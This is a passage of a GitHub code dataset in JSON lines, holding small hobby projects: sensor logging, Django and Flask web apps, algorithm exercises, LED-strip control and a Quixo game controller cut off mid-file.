+{"seq_id":"44441576821","text":"from datetime import datetime\nimport SI1145.SI1145 as SI1145\nimport time\n\n\nsensor = SI1145.SI1145()\n\n\ndef main():\n with open(\"logs.txt\", \"a\") as myfile:\n vis = sensor.readVisible()\n IR = sensor.readIR()\n UV = sensor.readUV()\n uvIndex = UV / 100.0\n now = datetime.now()\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n myfile.write(dt_string + \" Vis: \" + str(vis) + \" IR: \" + str(IR) + \" UV Index: \" + str(uvIndex) + \"\\n\")\n\n\nwhile True:\n main()\n time.sleep(20)\n","repo_name":"ISPNearSpace/Arpia-1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"20458965050","text":"#coding:utf-8\nfrom django.shortcuts import render, get_object_or_404\n\n# Create your views here.\nfrom django.http import HttpResponse\nfrom blog.models import *\nfrom django.core.paginator import Paginator,EmptyPage, PageNotAnInteger\nfrom comments.forms import *\nfrom django.db.models import *\nfrom django.views.generic.list import ListView\nimport markdown\n\nfrom django.utils.text import slugify\nfrom markdown.extensions.toc import TocExtension\nimport pygments\n\nclass IndexView(ListView):\n model = Post\n template_name = 'blog/index.html'\n context_object_name = 'post_list'\n paginate_by = 3\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n paginator = context.get('paginator')\n page = context.get('page_obj')\n is_paginated = context.get('is_paginated')\n\n pagination_data = self.pagination_data(paginator, page, is_paginated)\n\n context.update(pagination_data)\n return context\n\n def pagination_data(self, paginator, page, is_paginated):\n if not is_paginated:\n return {}\n # 当前页左边连续的页码号,初始值为空\n left = []\n\n # 当前页右边连续的页码号,初始值为空\n right = []\n\n # 标示第一页页码后是否需要显示省略号\n left_has_more = False\n\n # 标示最后一页页码前是否需要显示省略号\n right_has_more = False\n\n # 标示是否需要显示第一页的页码号。\n # 因为如果当前页左边的连续页码号中已经含有第一页的页码号,此时就无需再显示第一页的页码号\n # 其它情况下第一页的页码是始终需要显示的。\n first = False\n\n # 标示是否需要显示最后一页的页码号。\n # 需要此指示变量的理由和上面相同。\n last = False\n\n # 获得用户当前请求的页码号\n page_number = page.number\n\n # 获得分页后的总页数\n total_pages = paginator.num_pages\n\n # 获得整个分页页码列表,比如分了四页,那么就是 [1, 2, 3, 4]\n page_range = paginator.page_range\n\n if page_number == 1:\n # 如果用户请求的是第一页的数据,那么当前页左边的不需要数据,因此 left=[](已默认为空)\n # 获取当前页右边的连续页码号。\n # 比如分页页码列表是 [1, 2, 3, 4],那么获取的就是 right = [2, 3]\n # 这里只获取了当前页码后连续两个页码,你可以更改这个数字以获取更多页码。\n right = page_range[page_number:page_number + 2]\n\n # 如果最右边的页码号比最后一页的页码号减去 1 还要小,\n # 说明最右边的页码号和最后一页的页码号之间还有其它页码,因此需要显示省略号,通过 right_has_more 来指示\n if right[-1] < total_pages - 1:\n right_has_more = True\n\n # 如果最右边的页码号比最后一页的页码号小,说明当前页右边的连续页码号中不包含最后一页的页码\n # 所以需要显示最后一页的页码号,通过 last 来指示\n if right[-1] < total_pages:\n last = True\n\n elif page_number == total_pages:\n # 如果用户请求的是最后一页的数据,那么当前页右边就不需要数据,因此 right=[](已默认为空)\n # 获取当前页左边的连续页码号。\n # 比如分页页码列表是 [1, 2, 3, 4],那么获取的就是 left = [2, 3]\n # 这里只获取了当前页码后连续两个页码,你可以更改这个数字以获取更多页码。\n left = page_range[(page_number - 3) if (page_number - 3) > 0 else 0:page_number - 1]\n\n # 如果最左边的页码号比第 2 页页码号还大,\n # 说明最左边的页码号和第一页的页码号之间还有其它页码,因此需要显示省略号,通过 left_has_more 来指示\n if left[0] > 2:\n left_has_more = True\n\n # 如果最左边的页码号比第一页的页码号大,说明当前页左边的连续页码号中不包含第一页的页码\n # 所以需要显示第一页的页码号,通过 first 来指示\n if left[0] > 1:\n first = True\n else:\n # 用户请求的既不是最后一页,也不是第一页,则需要获取当前页左右两边的连续页码号\n # 这里只获取了当前页码前后连续两个页码,你可以更改这个数字以获取更多页码。\n left = page_range[(page_number - 3) if (page_number - 3) > 0 else 0:page_number - 1]\n right = page_range[page_number:page_number + 2]\n\n # 是否需要显示最后一页和最后一页前的省略号\n if right[-1] < total_pages - 1:\n right_has_more = True\n if right[-1] < total_pages:\n last = True\n\n # 是否需要显示第一页和第一页后的省略号\n if left[0] > 2:\n left_has_more = True\n if left[0] > 1:\n first = True\n\n context = {\n 'left': left,\n 'right': right,\n 'left_has_more': left_has_more,\n 'right_has_more': right_has_more,\n 'first': first,\n 'last': last,\n }\n\n return context\n\ndef search(request):\n q = request.GET.get('q')\n error_msg = ''\n\n if not q:\n error_msg = '请输入关键词' \n return render(request, 'blog/index.html', {'error_msg': error_msg})\n post_list = Post.objects.filter(title__icontains=q)\n #post_list = Post.objects.all()\n return render(request, 'blog/index.html', {'error_msg':error_msg, 'post_list': post_list})\n\ndef index(request):\n post_list = Post.objects.all().order_by('-created_time')\n paginator = Paginator(post_list, 3)\n page = request.GET.get('page')\n try:\n post_list = paginator.page(page)\n except PageNotAnInteger:\n post_list = paginator.page(1)\n except EmptyPage:\n post_list = paginator.page(paginator.num_pages)\n return render(request, 'blog/index.html', context={'post_list': post_list})\n\ndef detail(request, pk):\n post = get_object_or_404(Post, pk=pk)\n post.increase_views()\n #md = markdown.Markdown(extensions=[\n # 'markdown.extensions.extra',\n # 'markdown.extensions.codehilite',\n # 'markdown.extensions.toc',\n # ])\n #form = CommentForm()\n #comment_list = post.comment_set.all()\n #context = {\n # 'post': post,\n # 'form': form,\n # 'comment_list': comment_list\n #}\n md = markdown.Markdown(extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite',\n TocExtension(slugify=slugify),\n ])\n post.body = md.convert(post.body)\n form = CommentForm()\n comment_list = post.comment_set.all()\n context = {\n 'post': post,\n 'toc': md.toc,\n 'form': form,\n 'comment_list': comment_list \n }\n\n return render(request, 'blog/detail.html', context=context)\n\n\ndef archives(request, year, month):\n post_list = Post.objects.filter(created_time__year=year, created_time__month=month)\n return render(request, 'blog/index.html', context={'post_list': post_list})\n\n\ndef category(request, pk):\n cate = get_object_or_404(Category, pk=pk)\n post_list = Post.objects.filter(category=cate)\n return render(request, 'blog/index.html', context={'post_list': post_list})\n\n","repo_name":"shanyongxu/blog_test2","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7781,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"29931878062","text":"import pandas as pd \nimport csv\nimport pymongo\nfrom flask import Flask, render_template, request, jsonify\nfrom flask_cors import CORS\napp = Flask(__name__)\ncors = CORS(app)\n\n\nclient = pymongo.MongoClient(\"mongodb+srv://jgirlsdad:@cluster0-dgjk9.mongodb.net/test?retryWrites=true&w=majority\")\nmydb = client.hurricanes\nmycol = mydb[\"tracks\"]\n\nprint (\"finished connecting to MDB\")\nyears = ['none']\nretired = {}\nwith open(\"static/csv/retiredstorms2.csv\") as fin:\n reader = csv.reader(fin)\n for row in reader:\n retired[row[0]] = row[1]\n print (retired)\n#years = sorted(mycol.distinct(\"year\"))\n#print (years)\n\n\ndef getStorm(name): \n year = retired[name]\n name=name.upper()\n myquery = {'name': name,'year':int(year)}\n print(myquery)\n mydoc = mycol.find(myquery)\n print (\"getting storm info for \",name,year)\n print (mydoc)\n \n for x in mydoc:\n storm = {}\n storm['name'] = x['name'].strip()\n storm['year'] = x['year']\n storm['maxWind'] = x['maxWind']\n storm['minPressure'] = x['minPressure']\n storm['maxStrength'] = x['maxStrength']\n storm['month'] = x['month']\n tracks = []\n print (\"STRORM \",storm)\n if 'tracks' in x:\n for date,info in x['tracks'].items(): \n obs = []\n obs.append(info['lat'])\n obs.append(info['lon'])\n obs.append(info['type'])\n obs.append(info['wind'])\n obs.append(info['pressure'])\n obs.append(info['strength'])\n obs.append(date)\n tracks.append(obs)\n storm['track'] = tracks\n storms=[]\n storms.append(storm)\n return storms\n\n\n\ndef getData(years,flag):\n if (len(years) > 1):\n start = years[0]\n end = years[1]\n if (flag == 0): # get date range\n mydoc = mycol.find({'year': { '$gte': start, '$lte': end }},{'year':1,'name':1,'maxStrength':1,'month':1,'minPressure':1,'maxWind':1,})\n else: # get all years >= first year in array\n mydoc = mycol.find({'year': { '$gte': start}},{'year':1,'name':1,'maxStrength':1,'month':1,'minPressure':1,'maxWind':1,})\n\n else:\n start = years[0]\n myquery = {\"year\":start}\n mydoc = mycol.find(myquery)\n #mydoc = mycol.find()\n storms = []\n for x in mydoc:\n storm = {}\n storm['name'] = x['name'].strip()\n storm['year'] = x['year']\n storm['maxWind'] = x['maxWind']\n storm['minPressure'] = x['minPressure']\n storm['maxStrength'] = x['maxStrength']\n storm['month'] = x['month']\n tracks = []\n if 'tracks' in x:\n for date,info in x['tracks'].items(): \n obs = []\n obs.append(info['lat'])\n obs.append(info['lon'])\n obs.append(info['type'])\n obs.append(info['wind'])\n obs.append(info['pressure'])\n obs.append(info['strength'])\n obs.append(date)\n tracks.append(obs)\n storm['track'] = tracks\n storms.append(storm)\n return storms\n\n\n\n\n\n\ndef getStats():\n print (\"getting stats\")\n start=1851\n end=2018\n storms = getData([start,end],1)\n stats = {}\n stats[99] = {}\n stats[99]['count'] = 0\n stats[99]['HU'] = 0\n stats[99]['0'] = 0\n stats[99]['1'] = 0\n stats[99]['2'] = 0\n stats[99]['3'] = 0\n stats[99]['4'] = 0\n stats[99]['5'] = 0\n stats[99]['meanWind'] = 0\n for storm in storms:\n stats[99]['count'] +=1\n stats[99][str(storm['maxStrength'])]+=1\n if (storm['maxStrength'] > 0): # count hurricanes\n stats[99]['HU'] +=1\n stats[99]['meanWind']+=storm['maxWind']\n \n if storm['year'] in stats:\n stats[storm['year']]['count'] +=1\n if (storm['maxStrength'] > 0): # count hurricanes\n stats[storm['year']]['HU'] +=1\n stats[storm['year']]['meanWind']+=storm['maxWind']\n \n stats[storm['year']][str(storm['maxStrength'])]+=1\n if (storm['maxWind'] > stats[storm['year']]['maxWind']):\n stats[storm['year']]['maxWind'] = storm['maxWind']\n if (storm['minPressure'] > 0 and storm['minPressure'] < stats[storm['year']]['minPressure']):\n stats[storm['year']]['minPressure'] = storm['minPressure']\n else:\n stats[storm['year']] = {}\n stats[storm['year']]['count'] = 1\n stats[storm['year']]['HU'] = 0\n stats[storm['year']]['0'] = 0\n stats[storm['year']]['1'] = 0\n stats[storm['year']]['2'] = 0\n stats[storm['year']]['3'] = 0\n stats[storm['year']]['4'] = 0\n stats[storm['year']]['5'] = 0\n stats[storm['year']][str(storm['maxStrength'])] = 1\n stats[storm['year']]['meanWind'] = 0\n stats[storm['year']]['maxWind'] = storm['maxWind']\n stats[storm['year']]['minPressure'] = 9999\n if (storm['maxStrength'] > 0): # count hurricanes\n stats[storm['year']]['HU'] +=1\n stats[storm['year']]['meanWind']+=storm['maxWind']\n return stats\n\n\n\nstats = getStats()\n\n\n@app.route(\"/getYear/\")\ndef getYear(year):\n print (\"year\",year)\n storms = getData([int(year)],0)\n return jsonify(storms)\n\n@app.route(\"/retired/\")\ndef getRetired(name):\n print (\"IN RETIRED\",name)\n storm = getStorm(name)\n return jsonify(storm)\n\n\n\n\n@app.route(\"/info\")\ndef getInfo():\n statsarr = []\n for year in stats:\n stats[year]['year'] = year\n statsarr.append(stats[year])\n # print (year,type(year))\n # for key in stats[year]:\n # print (\" \",key,type(key),stats[year][key],type(stats[year][key]))\n # return jsonify(statsarr)\n # print (statsarr)\n return jsonify(statsarr)\n\n\n\n@app.route(\"/\")\ndef home():\n \n return render_template(\"index.html\")\n\n\n\n@app.route('/result',methods = ['POST', 'GET'])\ndef result():\n hit=0\n if request.method == 'POST':\n # result = request.form\n query_string = \"\"\n \n#getInfo()\n\n#getStorm(\"Irma\")\n\nif __name__ == \"__main__\": \n app.run(debug=True)","repo_name":"jgirlsdad/hurricanes","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"34327356967","text":"def gerenciar_jogadores():\n jogadores = {}\n\n while True:\n nome = input(\"Digite o nome do jogador: \")\n partidas = int(input(f\"Quantas partidas {nome} jogou? \"))\n gols = []\n\n for i in range(partidas):\n gols.append(int(input(f\"Quantos gols {nome} fez na partida {i+1}? \")))\n\n jogadores[nome] = {'partidas': partidas, 'gols': gols, 'total': sum(gols)}\n\n continuar = input(\"Deseja adicionar outro jogador? (S/N) \")\n if continuar.lower() != 's':\n break\n\n while True:\n nome = input(\"Digite o nome do jogador para ver detalhes: \")\n if nome in jogadores:\n print(f\"Jogador: {nome}\")\n print(f\"Partidas Jogadas: {jogadores[nome]['partidas']}\")\n print(f\"Gols por partida: {jogadores[nome]['gols']}\")\n print(f\"Total de gols: {jogadores[nome]['total']}\")\n else:\n print(\"Jogador não encontrado.\")\n\n continuar = input(\"Deseja ver detalhes de outro jogador? (S/N) \")\n if continuar.lower() != 's':\n break\n\ngerenciar_jogadores()\n","repo_name":"lldsouzadev/AprendendoPython","sub_path":"PythonMundo3/3. Dicionarios/Desafio95.py","file_name":"Desafio95.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"29391126190","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 1 15:42:20 2021\n\n@author: Jiyun\n\"\"\"\n\nfrom collections import deque\n\nmaps = []\nn, m = map(int, input().split())\nfor i in range(n):\n maps.append(list(map(int, input().split())))\n \ndx = [-1, 1, 0, 0]\ndy = [0, 0, -1, 1]\n\ndef bfs(x, y):\n queue = deque()\n queue.append((x, y))\n \n while queue:\n x, y = queue.popleft()\n for i in range(4):\n new_x = x + dx[i]\n new_y = y + dy[i]\n if new_x < 0 or new_y < 0 or new_x >= n or new_y >= m:\n continue\n if maps[new_x][new_y] == 1:\n maps[new_x][new_y] = maps[x][y] + 1\n queue.append((new_x, new_y))\n else:\n continue\n \nbfs(0, 0)\nprint(maps[n-1][m-1])","repo_name":"J1Yun/Coding-Test-Algorithm","sub_path":"ch5_DFS_BFS/미로탈출.py","file_name":"미로탈출.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"29599843451","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 29 15:23:02 2020\n\n@author: rohithbhandaru\n\"\"\"\n\n\nfrom flask_assets import Bundle\n\n\ndef compile_assets(assets):\n # Defining JS and CSS bundles\n moment_js_bundle = Bundle(\"moment.min.js\", \"moment-timezone-with-data-1970-2030.min.js\",\n filters=\"jsmin\", output=\"public/js/moment-files.min.js\")\n\n # Registering JS and CSS bundles\n assets.register(\"moment-files-js\", moment_js_bundle)\n\n # Building JS and CSS bundles\n moment_js_bundle.build()\n","repo_name":"RohithBhandaru/Artha","sub_path":"appDir/assets.py","file_name":"assets.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"42863200329","text":"from django.conf.urls import url\r\nfrom . import views\r\nfrom . import watcot_views\r\n\r\nurlpatterns = [\r\n url(r'^$', views.home, name='home'),\r\n url(r'^home/$', views.home, name='home'),\r\n url(r'^itabn_home/$', views.itabn_home, name='itabn_home'),\r\n url(r'^watcot_home/$', views.watcot_home, name='watcot_home'),\r\n url(r'^home-alt/$', views.homealt, name='home-alt'),\r\n url(r'^ftlon/$', views.blog_flton, name='blog_ftlon'),\r\n url(r'^nitn/$', views.blog_nitn, name='blog_nitn'),\r\n url(r'^ggb/$', views.blog_ggb, name='blog_ggb'),\r\n url(r'^lmk/$', views.blog_lmk, name='blog_lmk'),\r\n url(r'^tuw/$', views.blog_tuw, name='blog_tuw'),\r\n url(r'^sponsor/$', views.article_sponsor, name='article_sponsor'),\r\n url(r'^badlink/$', views.article_badlink, name='article_badlink'),\r\n url(r'^article/(?P.*)/$', views.article_gen, name='article_gen'),\r\n url(r'^fact/article/(?P.*)/$', views.article_gen, name='article_gen'),\r\n url(r'^itabn/$', views.itabn, name='itabn'),\r\n url(r'^itabn/answer/post$', views.query_answer_post, name='query_answer_post'),\r\n url(r'^itabn/answer$', views.query_answer_get, name='query_answer_get'),\r\n url(r'^itabn/compare$', views.query_compare, name='query_compare'),\r\n url(r'^itabn/compare2$', views.query_compare2, name='query_compare2'),\r\n url(r'^itabn/api$', views.query_api, name='query_api'),\r\n url(r'^posts/$', views.post_list, name='post_list'),\r\n url(r'^facts/$', views.fact_list, name='fact_list'),\r\n url(r'^post/(?P[0-9]+)/$', views.post_detail, name='post_detail'),\r\n url(r'^post/new/$', views.post_new, name='post_new'),\r\n url(r'^fact/new/$', views.fact_new, name='fact_new'),\r\n url(r'^fact/(?P.+)/$', views.fact_detail, name='fact_detail'),\r\n url(r'^factasunit/(?P.+)/$', views.fact_asunit, name='fact_as_unit'),\r\n url(r'^convert/$', views.convert, name='convert'),\r\n url(r'^convert/answer/post$', views.conversion_answer_post, name='conversion_answer_post'),\r\n url(r'^convert/answer$', views.conversion_answer_get, name='conversion_answer_get'),\r\n url(r'^convert/base$', views.conversion_base, name='conversion_base'),\r\n url(r'^convert/unit$', views.conversion_unit, name='conversion_unit'),\r\n url(r'^quiz/$', views.quiz, name='quiz'),\r\n url(r'^ratio/$', views.ratio, name='ratio'),\r\n url(r'^ratio/answer/$', views.ratio, name='ratio'),\r\n url(r'^link/(?P.*)/$', views.link_redirect, name=\"link-redirect\"),\r\n url(r'^country/$', views.country, name=\"country\"),\r\n url(r'^stat/(?P.+)$', views.stat, name='stat'),\r\n url(r'^links/save/$', views.links_save, name=\"links-save\"),\r\n url(r'^ajax/comparison/$', views.comparison, name=\"comparison\"),\r\n url(r'^ajax/quote/$', views.quote, name=\"quote\"),\r\n url(r'^chances/$', watcot_views.chance_fact_list, name='chance_fact_list'),\r\n url(r'^examples/$', watcot_views.chance_example_list, name='chance_example_list'),\r\n url(r'^chance/$', watcot_views.chance, name=\"chance\"),\r\n url(r'^chance/answer/$', watcot_views.chance, name=\"chance\"),\r\n url(r'^chance/article/(?P.*)/$', views.article_gen, name='article_gen'),\r\n url(r'^basegridpng/$', watcot_views.basegrid, name=\"basegrid\"),\r\n url(r'^gridpng/$', watcot_views.grid, name=\"grid\"),\r\n url(r'^gridlegendpng/$', watcot_views.gridlegend, name=\"gridlegend\"),\r\n url(r'^gridchancepng/$', watcot_views.gridchance, name=\"gridchance\"),\r\n]","repo_name":"andrewcaelliott/my-first-blog","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"24183619824","text":"# https://atcoder.jp/contests/abc062/tasks/arc074_a\n\nimport itertools\nfrom collections import Counter\nfrom collections import defaultdict\nimport bisect\nimport math\nimport heapq\n\ndef main():\n H, W = map(int, input().split())\n\n # big value\n INF = int(1e15)\n ans = INF\n\n for h in range(1, H):\n sq1 = h * W\n\n rest_h = H - h\n # 横で割る ___\n # ___\n height1 = rest_h // 2\n height2 = rest_h - height1\n sq2 = height1 * W\n sq3 = height2 * W\n diff = max(sq1, sq2, sq3) - min(sq1, sq2, sq3)\n # print('diff = {}, {} {} {}'.format(diff, sq1, sq2, sq3))\n ans = min(ans, diff)\n\n # 縦で割る ___\n # |\n width1 = W // 2\n width2 = W - width1\n sq2 = width1 * rest_h\n sq3 = width2 * rest_h\n diff = max(sq1, sq2, sq3) - min(sq1, sq2, sq3)\n ans = min(ans, diff)\n\n for w in range(1, W):\n sq1 = w * H\n\n rest_w = W - w\n # 縦で割る\n height1 = H // 2\n height2 = H - height1\n sq2 = height1 * rest_w\n sq3 = height2 * rest_w\n\n diff = max(sq1, sq2, sq3) - min(sq1, sq2, sq3)\n ans = min(ans, diff)\n\n # 横で割る\n width1 = rest_w // 2\n width2 = rest_w - width1\n sq2 = width1 * H\n sq3 = width2 * H\n diff = max(sq1, sq2, sq3) - min(sq1, sq2, sq3)\n ans = min(ans, diff)\n\n\n print(ans)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"takecian/ProgrammingStudyLog","sub_path":"AtCoder/ABC/062/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"30"} +{"seq_id":"72599333846","text":"from flask import *\nfrom flask_wtf import FlaskForm\nfrom flask_nav import Nav\nfrom flask_nav.elements import Navbar, View\nfrom wtforms import SubmitField, SelectField, DecimalField\nfrom wtforms.validators import NumberRange\nfrom wtforms_components import ColorField\nimport helpers\nfrom flask_bootstrap import Bootstrap\nfrom led_control import StripControl\n\napp = Flask(__name__) # create the application instance :)\napp.config['SECRET_KEY'] = 'secret key'\nBootstrap(app)\nnav = Nav()\nnav.init_app(app)\nstrips = StripControl()\n\n@app.route('/')\ndef index():\n colors = helpers.getDataDict(\"current\")\n return render_template(\"home.html\", c0=helpers.tupleToHex(colors['0']),\n c1=helpers.tupleToHex(colors['1']),\n c2=helpers.tupleToHex(colors['2']),\n c3=helpers.tupleToHex(colors['3']))\n\n@nav.navigation()\ndef top_nav():\n items = [View('Home', 'index'), View('Picker', 'picker'), View('Presets', 'presetList'), View('Sequencer', 'sequencer')]\n return Navbar('Strip Control', *items)\n\n#PICKER\nclass PickerForm(FlaskForm):\n colorPick = ColorField(label='')\n strip1 = SubmitField(label='1')\n strip2 = SubmitField(label='2')\n strip3 = SubmitField(label='3')\n strip4 = SubmitField(label='4')\n\n\n@app.route('/picker', methods = ['GET','POST'])\ndef picker():\n form = PickerForm(request.form)\n if request.method == 'POST' and form.validate():\n color = tuple([round(255*val, 2) for val in form.colorPick.data.rgb])\n if form.strip1.data:\n helpers.editDataItem('current', '0', color)\n strips.setStripColor(0, color)\n print(color)\n if form.strip2.data:\n helpers.editDataItem('current', '1', color)\n strips.setStripColor(1, color)\n if form.strip3.data:\n helpers.editDataItem('current', '2', color)\n strips.setStripColor(2, color)\n if form.strip4.data:\n helpers.editDataItem('current', '3', color)\n strips.setStripColor(3, color)\n colors = helpers.getDataDict(\"current\")\n return render_template(\"picker.html\", c0=helpers.tupleToHex(colors['0']),\n c1=helpers.tupleToHex(colors['1']),\n c2=helpers.tupleToHex(colors['2']),\n c3=helpers.tupleToHex(colors['3']), form=form)\n\n\n#PRESETS\nclass ColorForm(FlaskForm):\n presets = SelectField(u'Preset', coerce=str)\n submit = SubmitField(label='Submit')\n\n\n@app.route('/presets', methods = ['GET','POST'])\ndef presetList():\n form = ColorForm(request.form)\n names = list(helpers.getDataDict('presets').keys())\n form.presets.choices = [(name, name.title()) for name in names]\n presetData = helpers.getDataDict('presets')\n\n if request.method == 'POST' and form.validate():\n selected = 'Preset'\n for i in range(4):\n strips.setStripColor(i, presetData[form.presets.data][i])\n helpers.editDataItem('current', str(i), presetData[form.presets.data][i])\n colors = helpers.getDataDict(\"current\")\n return render_template(\"presets.html\", c0=helpers.tupleToHex(colors['0']),\n c1=helpers.tupleToHex(colors['1']),\n c2=helpers.tupleToHex(colors['2']),\n c3=helpers.tupleToHex(colors['3']), form=form)\n\n#PRESETS\nclass SequencerForm(FlaskForm):\n colorPick = ColorField(label='')\n\n s1 = SubmitField(label='1')\n s2 = SubmitField(label='2')\n s3 = SubmitField(label='3')\n s4 = SubmitField(label='4')\n s5 = SubmitField(label='5')\n s6 = SubmitField(label='6')\n s7 = SubmitField(label='7')\n s0 = SubmitField(label='0')\n\n c0 = SubmitField(label='1')\n c1 = SubmitField(label='2')\n c2 = SubmitField(label='3')\n c3 = SubmitField(label='4')\n\n onTime = DecimalField(\"On Time\", places=2, validators=[NumberRange(min=0.00999999999, max=30, message=\"Must be 0.01-30\")])\n fadeTime = DecimalField(\"Fade Time\", places=2, validators=[NumberRange(min=0, max=30, message=\"Must be 0.01-30\")])\n\n\n@app.route('/sequencer', methods = ['GET','POST'])\ndef sequencer():\n form = SequencerForm(request.form)\n colors = helpers.getDataDict(\"current\")\n tempSequence = helpers.getDataDict(\"sequences\")['temp']\n if request.method == 'GET':\n form.onTime.data = helpers.getDataDict(\"sequences\")['onTime']\n form.fadeTime.data = helpers.getDataDict(\"sequences\")['fadeTime']\n if request.method == 'POST' and form.validate():\n color = tuple([round(255*val, 2) for val in form.colorPick.data.rgb])\n if form.s0.data:\n tempSequence[0] = color\n helpers.editDataItem('sequences', 'temp', tempSequence)\n if form.s1.data:\n tempSequence[1] = color\n helpers.editDataItem('sequences', 'temp', tempSequence)\n if form.s2.data:\n tempSequence[2] = color\n helpers.editDataItem('sequences', 'temp', tempSequence)\n if form.s3.data:\n tempSequence[3] = color\n helpers.editDataItem('sequences', 'temp', tempSequence)\n if form.s4.data:\n tempSequence[4] = color\n helpers.editDataItem('sequences', 'temp', tempSequence)\n if form.s5.data:\n tempSequence[5] = color\n helpers.editDataItem('sequences', 'temp', tempSequence)\n if form.s6.data:\n tempSequence[6] = color\n helpers.editDataItem('sequences', 'temp', tempSequence)\n if form.s7.data:\n tempSequence[7] = color\n helpers.editDataItem('sequences', 'temp', tempSequence)\n if form.c0.data:\n helpers.editDataItem('sequences', '0', tempSequence)\n strips.setState(sequence=helpers.getDataDict('sequences'))\n if form.c1.data:\n helpers.editDataItem('sequences', '1', tempSequence)\n strips.setState(sequence=helpers.getDataDict('sequences'))\n if form.c2.data:\n helpers.editDataItem('sequences', '2', tempSequence)\n strips.setState(sequence=helpers.getDataDict('sequences'))\n if form.c3.data:\n helpers.editDataItem('sequences', '3', tempSequence)\n strips.setState(sequence=helpers.getDataDict('sequences'))\n helpers.editDataItem('sequences', 'onTime', form.onTime.data)\n helpers.editDataItem('sequences', 'fadeTime', form.fadeTime.data)\n\n return render_template(\"sequencer.html\", form=form,\n s0=helpers.tupleToHex(tempSequence[0]),\n s1=helpers.tupleToHex(tempSequence[1]),\n s2=helpers.tupleToHex(tempSequence[2]),\n s3=helpers.tupleToHex(tempSequence[3]),\n s4=helpers.tupleToHex(tempSequence[4]),\n s5=helpers.tupleToHex(tempSequence[5]),\n s6=helpers.tupleToHex(tempSequence[6]),\n s7=helpers.tupleToHex(tempSequence[7]),\n c0=helpers.tupleToHex(colors['0']),\n c1=helpers.tupleToHex(colors['1']),\n c2=helpers.tupleToHex(colors['2']),\n c3=helpers.tupleToHex(colors['3']))\n\n\nif __name__ == '__main__':\n try:\n app.run(host='0.0.0.0', debug=True)\n except KeyboardInterrupt:\n strips.stop()\n","repo_name":"IanBurwell/PiStripContol","sub_path":"RPi/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"4574724945","text":"\nimport view\nimport model\n\n\nclass Controller:\n\n __instance = None\n # Singleton pattern\n @classmethod\n def getInstance(cls):\n if cls.__instance is None:\n cls.__instance = Controller()\n return cls.__instance\n\n # Creating a controller lunch the game\n def __init__(self, playerX_is_ai, playerO_is_ai):\n if not Controller.__instance:\n self.model = model.Model()\n self.view = view.View(\"Quixo\")\n\n if (playerX_is_ai == 'ai'):\n self.model.playerX.is_ai = True\n else:\n playerX_is_ai = False\n\n if (playerO_is_ai == 'ai'):\n self.model.playerO.is_ai = True\n else:\n playerO_is_ai = False\n\n for i in range(0, 5):\n for j in range(0, 5):\n self.view.matrixOfButton[i][j] = self.createButton(i, j)\n if(i != 0 and i != 4 and j != 0 and j != 4):\n view.disableButton(self.view.matrixOfButton[i][j])\n self.view.matrixOfButton[i][j].grid(row=i, column=j)\n\n if (self.model.activePlayer.is_ai == True):\n self.model.aiPlay()\n self.setBoardFromSimplified(self.model.board)\n\n self.view.root.mainloop()\n else:\n self.getInstance()\n\n def createButton(self, i, j):\n button = self.view.createButton()\n button[\"command\"] = command = lambda: self.btnClick(\n self.view.matrixOfButton[i][j], i, j)\n return button\n\n # When the player click on a clickable case\n def btnClick(self, button, i, j):\n if (self.view.selectingPosition == False and self.view.selectingDirection == False):\n self.view.disableAllButton()\n if (i == 0):\n view.enableButton(self.view.matrixOfButton[4][j])\n if (j != 0):\n view.enableButton(self.view.matrixOfButton[i][0])\n if (j != 4):\n view.enableButton(self.view.matrixOfButton[i][4])\n self.view.tempBtnClickedInfo = [button, i, j]\n self.view.selectingPosition = True\n if (i == 4):\n view.enableButton(self.view.matrixOfButton[0][j])\n if (j != 0):\n view.enableButton(self.view.matrixOfButton[i][0])\n if (j != 4):\n view.enableButton(self.view.matrixOfButton[i][4])\n self.view.tempBtnClickedInfo = [button, i, j]\n self.view.selectingPosition = True\n if (j == 0):\n view.enableButton(self.view.matrixOfButton[i][4])\n if (i != 0):\n view.enableButton(self.view.matrixOfButton[0][j])\n if (i != 4):\n view.enableButton(self.view.matrixOfButton[4][j])\n self.view.tempBtnClickedInfo = [button, i, j]\n self.view.selectingPosition = True\n if (j == 4):\n view.enableButton(self.view.matrixOfButton[i][0])\n if (i != 0):\n view.enableButton(self.view.matrixOfButton[0][j])\n if (i != 4):\n view.enableButton(self.view.matrixOfButton[4][j])\n self.view.tempBtnClickedInfo = [button, i, j]\n self.view.selectingPosition = True\n\n elif (self.view.selectingPosition == True and self.view.selectingDirection == False):\n if (i == self.view.tempBtnClickedInfo[1] and j != self.view.tempBtnClickedInfo[2]):\n if (j == 0):\n self.model.insertAtRow(\n i, 0, 4, 1, self.view.tempBtnClickedInfo)\n self.endOfSelection()\n elif (j == 